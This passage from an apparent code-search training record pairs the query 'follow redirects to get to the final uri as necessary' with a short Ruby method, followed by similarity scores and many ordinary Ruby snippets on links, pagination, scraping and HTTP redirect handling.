"def show\n @link = Link.find_by(token: params[:token])\n @link.times_visited = @link.times_visited + 1\n @link.save\n Click.create(link: @link) # for reporting on most popular\n redirect_to @link.original_url\n end",
"def link\n @link\n end",
"def storeRec(link,catg) \n\t\tres_links = Nokogiri::HTML(open(link))\n\t\t\n\t\tres_links.css('div.topSection h3 a').each do |res|\n\t\t\tarr=[]\n\t\t\tarr.push res.text \n\t\t\tarr.push res['href']\t\n\t\t @arr_res.push arr\n\t\t\[email protected] 'insert into recipe values (?, ? ,?, ?,?,?)', @cnt, arr[0], arr[1],catg,'',''\n\t\t\t@cnt += 1\n\n\t\tend\n\n\tend",
"def page\n nil\n end",
"def assign_pages!; end",
"def page_link1(page, text, attributes = {})\n @template.link_to_remote(text, { \n :url => url_for(page).sub(/(\\w+)\\/[^\\?]+\\?/, \"\\\\1?\"),\n :method => :get,\n :loading => \"$('paging').show()\",\n :success => \"$('paging').hide()\"\n }.merge(@remote))\n end",
"def page_link(records, opts = {})\n uri = URI.parse(request.original_url)\n query = Rack::Utils.parse_query(uri.query)\n query['page'] = records.send(\"#{opts[:page]}_page\")\n uri.query = Rack::Utils.build_query(query)\n uri.to_s\n end",
"def easy\n url = params[:url]\n\n # Well, this would be super slow for mainstream processors, but\n # might be good enough for Mom's & Dad's shop\n link = Link.find_by_url(url)\n\n # Oops, we don't have this Url in tables yet\n if link.nil?\n link = Link.new\n link.url = url\n link.save\n end\n\n render :text => SHORT_URL + \"/\" + Base32::Crockford.encode(link.id)\n end",
"def linkToPageIDFrom(toPageID, fromPageID)\n puts \"Link #{toPageID} to #{fromPageID}\"\n link = $links[toPageID]\n if link == nil\n\tputs \"Bad link for #{toPageID}\"\n end\n if toPageID == fromPageID\n return link\n elsif fromPageID == \"toc\"\n link = \"pages/\" + link\n elsif toPageID == \"toc\" and fromPageID\n link = \"../\" + link\n end\n return link\nend",
"def p_publish( obj )\n puts \"## Page: #{ obj.link }, updated #{ obj.updated }\"\n end",
"def next_page\n end",
"def page(message, url)\n recipients message.recipients\n from ADMIN_EMAIL\n subject message.subject\n body :message => message, :url => url\n end",
"def page(key)\n end",
"def page_ref\n self\n end",
"def next_page\n string = QJ.next_string()\n url = BSU + string\n BR.goto(url)\nend",
"def next_page\n @links['next']\n end",
"def goto_weblog(page)\n #generally speaking, we want to goto \"http://[username].xanga.com/\n\n page = @agent.click page.links.href(\"http://#{@user}.xanga.com/\").first\n end",
"def scrape_table(page)\n data_table = page.css('div.boxListResult').each do |x|\n record = {}\n record[:Link] = DOMAIN + x.css(\"div.contInfo h3 a\").at_css(\"a\")[\"href\"]\n # Print out the data we've gathered\n puts record\n # Finally, save the record to the datastore - 'Artist' is our unique key\n ScraperWiki.save_sqlite(unique_keys=[:Link], data=record)\n end\nend",
"def scrape_table(page)\n data_table = page.css('div.boxListResult').each do |x|\n record = {}\n record[:Link] = DOMAIN + x.css(\"div.contInfo h3 a\").at_css(\"a\")[\"href\"]\n # Print out the data we've gathered\n puts record\n # Finally, save the record to the datastore - 'Artist' is our unique key\n ScraperWiki.save_sqlite(unique_keys=[:Link], data=record)\n end\nend",
"def scrape_table(page)\n data_table = page.css('div.boxListResult').each do |x|\n record = {}\n record[:Link] = DOMAIN + x.css(\"div.contInfo h3 a\").at_css(\"a\")[\"href\"]\n # Print out the data we've gathered\n puts record\n # Finally, save the record to the datastore - 'Artist' is our unique key\n ScraperWiki.save_sqlite(unique_keys=[:Link], data=record)\n end\nend",
"def scrape_table(page)\n data_table = page.css('div.boxListResult').each do |x|\n record = {}\n record[:Link] = DOMAIN + x.css(\"div.contInfo h3 a\").at_css(\"a\")[\"href\"]\n # Print out the data we've gathered\n puts record\n # Finally, save the record to the datastore - 'Artist' is our unique key\n ScraperWiki.save_sqlite(unique_keys=[:Link], data=record)\n end\nend",
"def link_to_page name, page_name, options={}\n\tlink_to name, root_url+Page.find_by_name(page_name.to_s).url, options\n rescue\n\twarning(\"no such page with ID '#{page_name}'\")\n end",
"def Link(x, y, w, h, link)\n\t\t#Put a link on the page\n @page_links ||= Array.new\n @page_links[@page] ||= Array.new\n @page_links[@page].push([x * @k, @h_pt - y * @k, w * @k, h*@k, link]);\n\tend",
"def new_page\n page = Page.new\n page.url = params[:id] if Page.url?(params[:id]) && params[:id] != 'new-page'\n page\n end",
"def new_link\n @link = Link.new\n end",
"def generated_permalink; end",
"def next_page\n\t\t\tFeed.parse_url(next_page_url,@browser)\n\t\tend",
"def page_link(link, data)\n get_page_from_link(link, data, '//img[@id=\"image\"]')\n end",
"def sample_page\n\n end",
"def saop\n save_and_open_page\n end"
] | [
"0.765677",
"0.7186724",
"0.66615486",
"0.6535963",
"0.6535963",
"0.6535963",
"0.6535963",
"0.6535963",
"0.6535963",
"0.6535963",
"0.6535963",
"0.6535963",
"0.6535963",
"0.6535963",
"0.6535963",
"0.65091664",
"0.65091664",
"0.6499726",
"0.6353338",
"0.63053006",
"0.6240896",
"0.6230379",
"0.61848533",
"0.61710465",
"0.61419475",
"0.61146533",
"0.6098472",
"0.60627174",
"0.60444987",
"0.6041488",
"0.6021563",
"0.6013483",
"0.5956691",
"0.594756",
"0.5946094",
"0.5933587",
"0.59283614",
"0.5920588",
"0.5902841",
"0.58982927",
"0.58982927",
"0.58935064",
"0.58935064",
"0.5878023",
"0.5876987",
"0.5873465",
"0.5873465",
"0.58696884",
"0.58696884",
"0.5869414",
"0.5868427",
"0.5868427",
"0.58484375",
"0.5840831",
"0.5840831",
"0.58203673",
"0.581158",
"0.5797616",
"0.57925946",
"0.5792116",
"0.57894576",
"0.5787416",
"0.57863784",
"0.5778187",
"0.5753958",
"0.5709237",
"0.5709237",
"0.5709237",
"0.57069254",
"0.5705008",
"0.5701401",
"0.5684534",
"0.56781137",
"0.5677937",
"0.5672163",
"0.5669615",
"0.5667796",
"0.5665618",
"0.5636705",
"0.5634845",
"0.5627944",
"0.56196445",
"0.56160825",
"0.5614298",
"0.56097203",
"0.56080705",
"0.560335",
"0.55916",
"0.5590281",
"0.5590281",
"0.5590281",
"0.5590281",
"0.5588098",
"0.55851895",
"0.55842495",
"0.5582213",
"0.5577317",
"0.55741745",
"0.55731595",
"0.55719364",
"0.5561133"
] | 0.0 | -1 |
follow redirects to get to the final uri as necessary | def actual_uri
redirects_to or uri
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def follow_redirections\n self.url = self.add_scheme(decoded_uri(self.url.strip))\n attempts = 0\n code = '301'\n path = []\n\n while attempts < 5 && %w(301 302).include?(code) && !path.include?(self.url)\n attempts += 1\n path << self.url\n response = self.request_media_url\n code = response.code\n self.set_url_from_location(response, path)\n end\n end",
"def follow_redirections\n self.url = RequestHelper.add_scheme(RequestHelper.decode_uri(self.url.strip))\n attempts = 0\n code = '301'\n path = []\n\n while attempts < 5 && RequestHelper::REDIRECT_HTTP_CODES.include?(code) && !path.include?(self.url)\n attempts += 1\n path << self.url\n response = self.request_media_url(self.url)\n code = response.code\n\n if RequestHelper::REDIRECT_HTTP_CODES.include?(code)\n redirect_url = self.url_from_location(response, path)\n self.url = redirect_url if redirect_url\n end\n end\n end",
"def follow_redirect\n get extract_redirection_url\n end",
"def follow_redirection(&block); end",
"def follow_get_redirection(&block); end",
"def follow_redirect!\n unless last_response.redirect?\n raise Error, 'Last response was not a redirect. Cannot follow_redirect!'\n end\n\n if last_response.status == 307\n request_method = last_request.request_method\n params = last_request.params\n else\n request_method = 'GET'\n params = {}\n end\n\n # Compute the next location by appending the location header with the\n # last request, as per https://tools.ietf.org/html/rfc7231#section-7.1.2\n # Adding two absolute locations returns the right-hand location\n next_location = URI.parse(last_request.url) + URI.parse(last_response['Location'])\n\n custom_request(\n request_method,\n next_location.to_s,\n params,\n 'HTTP_REFERER' => last_request.url,\n 'rack.session' => last_request.session,\n 'rack.session.options' => last_request.session_options\n )\n end",
"def follow_redirect?; end",
"def update_permanent_uri(options={})\n for uri, response in @redirects\n break if response.status != \"301\"\n self.resource.permanent_uri =\n Addressable::URI.parse(response.headers[\"Location\"])\n end\n end",
"def follow_redirect!(**args); end",
"def get_response_with_redirect(uri)\n r = Net::HTTP.get_response(uri)\n if r.code == \"301\"\n r = Net::HTTP.get_response(URI.parse(r.header['location']))\n end\n r\nend",
"def follow_redirect(response)\n raise MalformedServerResponse.new(self, response) unless response.header.location\n if response.moved_permanently?\n new_uri = response.header.location\n logger.info(\" Permanently redirected to #{new_uri} - Storing new location.\")\n resource.update_uri new_uri\n @header.host = resource.host\n response = fetch_response\n elsif response.see_other? # Always use GET for this redirect, regardless of initial method\n redirected_resource = Resourceful::Resource.new(self.accessor, response.header['Location'])\n response = Request.new(:get, redirected_resource, body, header).fetch_response\n else\n redirected_resource = Resourceful::Resource.new(self.accessor, response.header['Location'])\n logger.info(\" Redirected to #{redirected_resource.uri} - Caching new location.\")\n response = Request.new(method, redirected_resource, body, header).fetch_response\n end\n end",
"def follow_redirects\n return nil unless self.exist?\n absolutepath.linkpath\n end",
"def redirect_ok=(follow); end",
"def redirects; end",
"def final_url\n call_once\n @headers[\"location\"] || @request.getURI.to_string\n end",
"def follow_redirect=(follow); end",
"def fetch(uri_str, limit = 10)\n # You should choose a better exception.\n raise ArgumentError, 'too many HTTP redirects' if limit == 0\n response = Net::HTTP.get_response(URI(uri_str))\n case response\n when Net::HTTPSuccess then\n response\n when Net::HTTPRedirection then\n location = response['location']\n # print redirect\n redirected_to = location\n fetch(location, limit - 1)\n return redirected_to\n else\n response.value\n end\nend",
"def redirect uri, *args\n if @env[HTTP_VERSION] == 'HTTP/1.1' && @env[REQ_METHOD] != 'GET'\n status 303\n else\n status 302\n end\n\n @response[LOCATION] = url_to(uri.to_s)\n halt(*args)\n end",
"def redirect(location, status = '302'); request.redirect(location, status); end",
"def redirect(url); end",
"def redirect(uri)\n [ 303, {'Content-Length'=>'0', 'Content-Type'=>'text/plain',\n 'Location' => uri},\n [] ]\n end",
"def redirect_to(url)\n raise \"Already built response!\" if already_built_response?\n @res['Location'] = url\n @res.status = 302\n finalize_response(:redirect)\n end",
"def redirected(uri)\n @uris << uri.to_s\n update_code(:redirected, %i(unknown redirected))\n end",
"def chase_redirect(url)\n u = URI.parse(url)\n (0..9).each do\n opts = { use_ssl: u.scheme == 'https',\n ca_file: Chef::Config[:ssl_ca_file] }\n resp = Net::HTTP.start(u.host, u.port, opts) { |h| h.head(u.to_s) }\n return u.to_s unless resp.is_a?(Net::HTTPRedirection)\n u = URI.parse(resp['location'])\n end\n nil\n end",
"def redirect_to(uri_fragment)\n @headers['Status'] = '302 Moved'\n @headers['Location'] = @cgi.full_uri_for uri_fragment\n output\n end",
"def redirect_ok= follow\n @agent.redirect_ok = follow\n end",
"def fetch(uri_str, limit = 10)\n # You should choose a better exception.\n raise ArgumentError, 'too many HTTP redirects' if limit == 0\n\n response = Net::HTTP.get_response(URI(uri_str))\n\n case response\n when Net::HTTPSuccess then\n response\n when Net::HTTPRedirection then\n location = response['location']\n warn \"redirected to #{location}\"\n fetch(location, limit - 1)\n end\nend",
"def redirect_to(url)\n prepare_response do\n res['location'] = url\n res.status = 302\n end\n end",
"def get_final_url(uri_str,limit=5)\n# puts \"getting final url for #{uri_str} ... \"\n if limit==0\n puts \"HTTP redirect too deep\"\n end\n uri = URI.parse(uri_str)\n# raise ArgumentError, 'HTTP redirect too deep' if limit == 0\n response=Object.new\n begin\n timeout(7) do\n Net::HTTP.start(uri.host) {|http|\n response = http.request_head(uri.path)\n case response\n when Net::HTTPSuccess then \n# puts \"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t!!!success\"\n response\n when Net::HTTPRedirection then \n puts \"redirecting to #{response['location']}\"\n uri_str = get_final_url(response['location'].gsub(/\\s/,\"%20\"), limit - 1)\n else\n response.error!\n end\n }\n# puts \"response headers:\"\n response.each_key{|key|\n# puts \"#{key}: #{response[key]}\"\n }\n end\n rescue TimeoutError\n puts \"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t???timed out\"\n rescue => e\n puts \"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t???#{e}\"\n end\n# puts \"returning #{uri_str} from get_final_url\"\n uri_str\n end",
"def run(req, res)\n to_run = match(req)\n if to_run.nil?\n @res.status = 302\n @res.header[\"location\"] = url\n end\nend",
"def redirect(uri)\n @response.status = 302\n @response.header['Location'] = uri\n @response.body = ''\n halt\n end",
"def handle_302_found(response,request_url,redirects)\n raise \"Too many redirects followed to redirect again for 302 response: followed (#{redirects}) redirects while retrieving #{request_url}\" unless redirects > 0\n handle_301_moved_permanantly(response,request_url,redirects)\n end",
"def fwd\n\n url_id = params[:id]\n \n if !url_id.nil? && !url_id.empty?\n link_id = Base32::Crockford.decode(url_id)\n else\n # It will be catched by the next block now\n link_id = -1\n end\n \n begin\n link = Link.find(link_id)\n redirect_to_full_url(link.url, 301)\n rescue ActiveRecord::RecordNotFound\n redirect_to :controller => \"links\", :action => \"new\"\n end\n\n end",
"def redirect(*args)\n # If this is an ajax and/or rpc request skip the redirect.\n # Allows to write more reusable code.\n\n return if request.script?\n \n if args.last.is_a? Hash\n status = args.last.fetch(:status, 303)\n else\n status = 303\n end\n\n uri = encode_uri(*args)\n\n # gmosx, THINK: this may be unnecessary!\n\n unless uri =~ /^http/\n uri = \"#{@context.host_uri}/#{uri.gsub(/^\\//, '')}\"\n end\n\n @context.status = status\n @out = \"<html><a href=\\\"#{uri}\\\">#{uri}</a>.</html>\\n\"\n @context.response_headers['location'] = uri\n\n raise RenderExit\n end",
"def redirect(url)\n headers['Location'] = url\n self.status = 302\n raise FinishRequest\n end",
"def fetch(uri_str, limit = 10)\n # You should choose a better exception.\n raise ArgumentError, 'too many HTTP redirects' if limit == 0\n\n response = Net::HTTP.get_response(URI(uri_str))\n\n case response\n when Net::HTTPSuccess then\n response\n when Net::HTTPRedirection then\n location = response['location']\n warn \"redirected to #{location}\"\n fetch(location, limit - 1)\n else\n response.value\n end\nend",
"def fetch(uri_str, limit = 10)\n # You should choose a better exception.\n raise ArgumentError, 'too many HTTP redirects' if limit == 0\n\n response = Net::HTTP.get_response(URI(uri_str))\n\n case response\n when Net::HTTPSuccess then\n response\n when Net::HTTPRedirection then\n location = response['location']\n warn \"redirected to #{location}\"\n fetch(location, limit - 1)\n else\n response.value\n end\nend",
"def max_redirects; end",
"def give_301(response, url)\n\theaders = response.headers\n\tresponse.status = 301\n\tresponse.headers[\"Location\"] =url\n end",
"def detect_chain\n @follow_redirect = true\n detect\n end",
"def fetch(uri_str, limit = 10)\n raise TooManyRedirectsError, 'too many HTTP redirects' if limit == 0\n\n response = Net::HTTP.get_response(URI(uri_str))\n\n case response\n when Net::HTTPSuccess then\n response\n when Net::HTTPRedirection then\n fetch(response['location'], limit - 1)\n else\n response.value\n end\nend",
"def fetch(uri_str, limit = 10)\n raise TooManyRedirectsError, 'too many HTTP redirects' if limit == 0\n\n response = Net::HTTP.get_response(URI(uri_str))\n\n case response\n when Net::HTTPSuccess then\n response\n when Net::HTTPRedirection then\n fetch(response['location'], limit - 1)\n else\n response.value\n end\nend",
"def redirect_to(url)\n self.res.status = 302\n #how would I know about location\n self.res.header[\"location\"] = url\n session.store_session(self.res)\n\n #self.res.set_redirect(WEBrick::HTTPStatus::TemporaryRedirect, url)\n if already_rendered?\n raise \"Can't render/redirect twice\"\n end\n\n #following might be wrong b/c of no setter\n @already_built_response = true\n nil\n end",
"def handle_redirect(response)\n redirect_href = response.http_header[\"Location\"]\n redirect_href = redirect_href.first unless !redirect_href.is_a? Array\n redirect_href = expand_path(redirect_href)\n store_link('redirect', redirect_href, @link_id)\n end",
"def after_anyway\n redirect redirection if redirection\n end",
"def redirect_to(url)\n response = Rack::Response.new\n response.redirect(url, 301) # moved permanently\n response.finish\n response.to_a\n end",
"def redirect\n # Does it exist?\n if url = Redirect.find_by_short_url(params[:id])\n # # Increment count\n # url.update_attributes(count: url.count + 1)\n # Add redirect to history\n RedirectHistory.create(redirect_id: url.id, notes: \"params: #{params}\")\n # Redirect\n redirect_to url.full_url\n else\n redirect_to redirects_path\n end\n end",
"def redirects()\n merge(redirects: 'true')\n end",
"def full_url\n mini_url = MiniUrl.find_by(url_code: params[:url_code])\n # raise not found exception for url code not present in db\n unless mini_url\n raise Exceptions::EmptyObjectError.new('Unable to find url for redirection.')\n end\n render location: mini_url.url, status: 307\n # increase redirect count and update after responding with actual url\n mini_url.redirect_count += 1\n unless mini_url.update\n logger.error \"Some error in updating redirect count for mini url - #{mini_url.url_code}\"\n end\n rescue Exceptions::EmptyObjectError => e\n render json: {error: e}, status: 404\n end",
"def redirect_client(client, url)\n client.puts(\"HTTP/1.1 302 Found\\r\\nLocation: #{url}\\r\\n\\r\\n\")\nend",
"def do_post_redirect(post_redirect)\n uri = post_redirect.uri\n\n session[:post_redirect_token] = post_redirect.token\n\n # XXX what is the built in Ruby URI munging function that can do this\n # choice of & vs. ? more elegantly than this dumb if statement?\n if uri.include?(\"?\")\n if uri.include?(\"#\")\n uri.sub!(\"#\", \"&post_redirect=1#\")\n else\n uri += \"&post_redirect=1\"\n end\n else\n if uri.include?(\"#\")\n uri.sub!(\"#\", \"?post_redirect=1#\")\n else\n uri += \"?post_redirect=1\"\n end\n end\n redirect_to uri\n end",
"def http_fetch(uri_str, limit = 3)\n raise ArgumentError, 'HTTP redirect too deep' if limit <= 0\n\n uri = URI.parse(uri_str)\n request = Net::HTTP::Get.new(uri.path, {'User-Agent' => 'MetaBroadcast image resizer'})\n response = Net::HTTP.start(uri.host, uri.port, :use_ssl => uri.scheme == 'https') { |http| http.request(request) }\n\n case response\n when Net::HTTPRedirection then http_fetch(response['location'], limit - 1)\n else\n response\n end\nend",
"def redirect_original(request, state_params, site)\n response = Rack::Response.new\n # Note that app_callback_url is added by OmniAuth.config.before_request_phase\n # any value provided by a client will be overwritten in that method so that we\n # don't use/trust values sent by the client\n return_url = state_params[\"app_callback_url\"]\n query = query_string(request, SecureRandom.hex(64))\n return_url << \"?\"\n return_url << signed_query_string(query, site.secret)\n response.redirect return_url\n response.finish\n end",
"def fetch( uri_str, limit = 10 )\n # You should choose better exception.\n raise ArgumentError, 'HTTP redirect too deep' if limit == 0\n response = get_response(URI.parse(uri_str))\n case response\n when Net::HTTPSuccess then response\n when Net::HTTPRedirection then fetch(response['location'], limit - 1)\n else\n response.error!\n end\n end",
"def ensure_redirect response, url_matcher\n expect(response.code).to eq('301').or eq('302')\n expect(response.header['location']).to match url_matcher\n # href = document(response.body).css('a').attr('href').value\n # expect(href).to match url_matcher\n response.header['location']\n end",
"def check_for_redirection\n begin\n response = Net::HTTP.get_response(self.thumbnail_url)\n rescue\n return :abort\n end\n if '302' == response.code\n self.thumbnail_url = response['location']\n end\n end",
"def redirect_to(url, options={})\n full_url = absolute_url(url, options)\n response[LOCATION] = full_url\n respond_with 302\n full_url\n end",
"def product_revenue\n p '#{request.referer}'\n redirect_to \"http://www.google.com\" ,status: 301\n end",
"def fetch\n headers = {\n \"User-Agent\" => \"#{HTTP::Request::USER_AGENT} (rubyland aggregator)\"\n }\n\n unless refresh == :hard\n if db_feed.http_etag\n headers[\"If-None-Match\"] = db_feed.http_etag\n end\n if db_feed.http_last_modified\n headers['If-Modified-Since'] = db_feed.http_last_modified\n end\n end\n\n # Loop redirects, marking new permanent url if all 304s\n tries = 0\n fetch_url = feed_url\n new_url = nil\n response = nil\n permanent_new_url = nil\n all_301s = true\n\n while tries < max_redirects\n tries += 1\n response = HTTP.use(:auto_inflate).headers(headers).get(fetch_url)\n\n if HTTP::Redirector::REDIRECT_CODES.include? response.status\n if response.status != 301\n all_301s = false\n end\n fetch_url = response.headers[\"Location\"]\n else\n break\n end\n end\n\n return response, (tries > 1 && all_301s ? fetch_url : nil)\n end",
"def redirect_original(request, state_params, site)\n response = Rack::Response.new\n # Note that app_callback_url is added by OmniAuth.config.before_request_phase\n # any value provided by a client will be overwritten in that method so that we\n # don't use/trust values sent by the client\n return_url = state_params[\"app_callback_url\"]\n query = OauthStateMiddleware.query_string(request.params, SecureRandom.hex(64))\n return_url << \"?\"\n return_url << signed_query_string(query, site.secret)\n response.redirect return_url\n response.finish\n end",
"def redirect\n redirect_model = get_model(config['redirect_model_slug'])\n if redirect_model\n redirect_model.entries.each do |entry|\n rules = entry.custom_fields_recipe['rules']\n match = entry[rules.first['name']]\n redirect_url = entry[rules.last['name']]\n if controller.request.fullpath =~ /#{match}/\n match_data = /#{match}/.match(controller.request.fullpath)\n /#{match}/.named_captures.each do |key,value|\n redirect_url.gsub!(/\\$#{key}/, match_data[key])\n end\n controller.redirect_to redirect_url and return\n end\n end\n end\n end",
"def fetch(uri_str, limit = 10)\n raise ArgumentError, 'HTTP redirect too deep' if limit == 0\n\n if FARENHEIT and uri_str =~ FIVEDAY\n uri_str = uri_str.dup\n uri_str[FIVEDAY] = '5day_f.shtml'\n end\n\n response = Net::HTTP.get_response(URI.parse(uri_str))\n case response\n when Net::HTTPSuccess then response\n when Net::HTTPRedirection then fetch(response['location'], limit - 1)\n else\n response.error!\n end\nend",
"def perform\n if url_needed?\n # We need to follow any redirects from the current url.\n # The final (non-redirected) location will become our URL, and any\n # URLs that redirected along the way (including the first) become our aliases\n # NB Only the original URL is guaranteed not to be redundant, either in another page_ref\n # or an alias. If it's the latter, we capture the alias. If we can't adopt the URL without\n # clashing with another page_ref, we assign it to MercuryResult and Gleaning and give up.\n # Check the header for the url from the server.\n # If it's a string, the header returned a redirect\n # otherwise, it's an HTTP code\n puts \"Checking direct access of PageRef ##{id} at '#{url}'\"\n subject_url = url\n # Loop over the redirects from the link, adding each to the record.\n # Stop when we get to the final page or an error occurs\n while (hr = header_result(subject_url)).is_a?(String) # ...because redirect\n # header_result returns a string for a redirect\n next_url = hr.match(/^http/) ? hr : safe_uri_join(subject_url, hr).to_s # The redirect URL may only be a path\n if !Alias.urleq(subject_url, next_url) && alias_for?(next_url) # Time to give up when the url has been tried (it already appears among the aliases)\n # Report the error arising from direct access\n hr = header_result next_url\n break\n end\n puts \"Redirecting from #{subject_url} to #{next_url}\"\n alias_for subject_url, true\n subject_url = next_url\n end\n accept_attribute :url, subject_url\n hr # Return the last error code\n end\n\n # Now that we have a url, move on to the mercury_result and the gleaning\n mercury_result.ensure_attributes # Block until mercury_result has completed and accepted its attributes\n if mercury_result.good? # All is well\n accept_url mercury_result.url if mercury_result.url_ready?\n if mercury_result.new_aliases_ready? && mercury_result.new_aliases.present?\n new_aliases = mercury_result.new_aliases.collect { |url| Alias.indexing_url url }\n # Create a new alias on this page_ref for every derived alias that isn't already in use\n (new_aliases - aliases.pluck(:url)).each { |new_alias| alias_for new_alias, true }\n end\n elsif mercury_result.bad?\n errors.add :url, \"can\\'t be accessed by Mercury: #{mercury_result.errors[:base]}\"\n end\n self.http_status = mercury_result.http_status\n\n gleaning.ensure_attributes # Block until gleaning has completed and accepted its attributes\n if gleaning.good?\n accept_url gleaning.url if gleaning.url_ready?\n elsif gleaning.bad?\n errors.add :url, \"can\\'t be gleaned: #{gleaning.errors[:base]}\"\n end\n\n if errors[:url].present?\n url_errors = errors[:url].join \"\\n\"\n if relaunch?\n raise url_errors # ...to include the errors and relaunch\n else\n errors.add :base, url_errors # ...to simply include the errors in the record\n end\n end\n\n end",
"def fetch(uri_str, limit = 10)\n\t\t\t raise ArgumentError, 'HTTP redirect too deep' if limit == 0\n\n\t\t\t url = URI.parse(uri_str)\n\t\t\t req = Net::HTTP::Get.new(url.path, { 'User-Agent' => \"Agent\" })\n\t\t\t \n\t\t\t response = Net::HTTP.start(url.host, url.port) do |http| \n\t\t\t \thttp.request(req) \n\t\t\t end\n\n\t\t\t case response\n\t\t\t \twhen Net::HTTPSuccess\n\t\t\t \t\tthen response\n\t\t\t \twhen Net::HTTPRedirection \n\t\t\t \t\tthen fetch(response['location'], limit - 1)\n\t\t\t \telse\n\t\t\t \tresponse.error!\n\t\t\t end\n\t\t\tend",
"def redirect(uri, verb = T.unsafe(nil)); end",
"def redirect_url(immediate = false)\n moje_id_request.redirect_url(realm, return_to, immediate)\n end",
"def fetch(uri_str, limit = 10)\n # You should choose better exception.\n raise ArgumentError, 'HTTP redirect too deep' if limit == 0\n\n response = Net::HTTP.get_response(URI.parse(uri_str))\n case response\n when Net::HTTPSuccess then response\n when Net::HTTPRedirection then fetch(response['location'], limit - 1)\n else\n response.error!\n end\n end",
"def redirect_to(url)\n raise \"Already delivered response\" if self.already_built_response?\n res.status = 302\n res['Location'] = url\n @already_built_response = true\n self.session.store_session(res)\n self.flash.store_flash(res)\n end",
"def redirect_to(url, options={})\n full_url = absolute_url(url, options)\n response[LOCATION] = full_url\n respond_with 302\n full_url\n end",
"def redirect_to(url)\n if self.already_built_response?\n raise \"Double render error!\"\n else\n @res.status = 302\n @res.location = url\n @already_built_response = true\n end\n end",
"def redirect_last\n if session[:redirect_to]\n redirect_url = session[:redirect_to]\n session[:redirect_to] = nil\n redirect redirect_url\n else\n redirect \"/\"\n end \n end",
"def send_to_redirect\n redirect_to @short_url.redirect\n end",
"def redirect_to(url)\n if already_built_response?\n raise \"DoubleRenderError\" \n else \n @res.status = 302 \n # @res.set_header('Content-Type', content_type)\n @res.set_header('location', url)\n # @res.write(content) \n session.store_session(res)\n # debugger\n @already_built_response = true \n # debugger\n end \n end",
"def redirect_last\n if session[:redirect_to]\n redirect_url = session[:redirect_to]\n session[:redirect_to] = nil\n redirect redirect_url\n else\n redirect '/'\n end\n end",
"def redirect_uri\n host = headers['Host']\n uri = \"#{path}/\"\n uri = \"#{uri}?#{query}\" unless (query || '').empty?\n uri = \"http://#{host}#{uri}\" if host\n uri\n end",
"def redirect(options = {})\r\n end",
"def followed_redirects?\n current_url != @url\n end",
"def redirect(url)\n raise \"To be implemented by client application\"\n end",
"def redirect_away(*params)\n session[:original_uri] = request.request_uri\n redirect_to(*params)\n end",
"def redirect_away(*params)\n session[:original_uri] = request.request_uri\n redirect_to(*params)\n end",
"def redirect?; end",
"def final_url\n call_once\n last_request = context.get_attribute ExecutionContext::HTTP_REQUEST\n last_host = context.get_attribute ExecutionContext::HTTP_TARGET_HOST\n host = last_host.to_uri\n url = last_request.get_uri\n URI.join(host, url.to_s)\n end",
"def check_redirect\n url = \"http://autodiscover.#{@domain}/autodiscover/autodiscover.svc\"\n begin\n res = HTTPClient.head(url)\n rescue\n return nil\n end\n return nil unless res.status_code == 302\n @redirect = res.header[\"Location\"][0]\n end",
"def updateNextURI\n # Parse next result page link from the currently marked one\n nextPagePath = @currentPage.at_css(\"table#nav tr td.cur\").next_sibling().at_css(\"a\")['href']\n\n # Construct the URI\n @nextURI = \"https://www.google.com\" + nextPagePath\n end",
"def redirect_away(*params)\n session[:original_uri] = request.fullpath\n redirect_to(*params)\n end",
"def redirect_away(*params)\n session[:original_uri] = request.fullpath\n redirect_to(*params)\n end",
"def expand_redirect_url(redirect_url, base_url)\n uri = URI.parse(redirect_url)\n uri = URI.parse(base_url) + redirect_url if uri.relative?\n uri\n end",
"def redirect_referer(postfix = nil, status = 303)\n redirect \"#{@context.referer}#{postfix}\", :status => status\n end",
"def redirected\n @url = Url.where(short_url: params[:id]).first\n if @url.present?\n @url.increase_hit\n redirect_to \"#{'http://' unless @url.url.include?('http://') || @url.url.include?('https://')}#{@url.url}\"\n else\n redirect_to urls_path, alert: \"URL not present. Please create new URL\" \n end\n end",
"def fetch(uri_str, limit = 10)\n # You should choose better exception.\n raise ArgumentError, 'HTTP redirect too deep' if limit == 0\n\n response = Net::HTTP.get_response(URI.parse(uri_str))\n case response\n when Net::HTTPSuccess\n response\n when Net::HTTPRedirection\n fetch(response['location'], limit - 1)\n else\n response.error!\n end\n end",
"def execute\n response = send_request\n response.body.to_s\n rescue HTTP::Redirector::TooManyRedirectsError\n raise ProxyFetcher::Exceptions::MaximumRedirectsReached\n end",
"def redirect_url\n if @next_url.present?\n @next_url = CGI.unescape(@next_url)\n @next_url = nil if !ValidateLink.is_valid_redirect_path?(@next_url)\n end\n\n if !@has_valid_mfa_session\n next_url_param = @next_url.present? ? \"?next=#{CGI.escape @next_url}\" : \"\"\n GlobalConstant::WebUrls.multifactor_auth + next_url_param\n else\n @admin.has_accepted_terms_of_use? ? get_application_url : GlobalConstant::WebUrls.terms_and_conditions\n end\n end",
"def attempt_auto_redirect\n\t\tinfo = get_redirection_information\n\t\tif info.nil? || info.is_a?(NoRedirectionInformation)\n\t\t\treturn false\n\t\tend\n\t\t\n\t\t# The page where we're redirecting to might have redirection information\n\t\t# as well. So we save that information to flash[:auto_redirect_to] to\n\t\t# allow nested auto-redirections.\n\t\tif info.method == :get\n\t\t\tif info.is_a?(UrlRedirectionInformation)\n\t\t\t\tlogger.debug(\"Auto-Redirection: redirect to URL: #{info.url}\")\n\t\t\t\tredirect_to info.url\n\t\t\telse\n\t\t\t\targs = info.params.merge(\n\t\t\t\t\t:controller => info.controller,\n\t\t\t\t\t:action => info.action\n\t\t\t\t)\n\t\t\t\tlogger.debug(\"Auto-Redirection: redirecting to: \" <<\n\t\t\t\t\t\"#{info.controller}/#{info.action} (get), \" <<\n\t\t\t\t\t\"parameters: #{info.params.inspect}\")\n\t\t\t\tredirect_to args\n\t\t\tend\n\t\telse\n\t\t\t@redirection_information = info\n\t\t\t@form_action = info.params.merge(\n\t\t\t\t'controller' => info.controller,\n\t\t\t\t'action' => info.action\n\t\t\t)\n\t\t\t\n\t\t\t# We want to put nested redirection information a hidden field\n\t\t\t# so that the data can be posted in the POST body instead of\n\t\t\t# the HTTP request query string.\n\t\t\t@nested_redirection_information = @form_action['_redirection_information']\n\t\t\t@form_action.delete('_redirection_information')\n\t\t\t\n\t\t\tlogger.debug(\"Auto-Redirection: redirecting to: \" 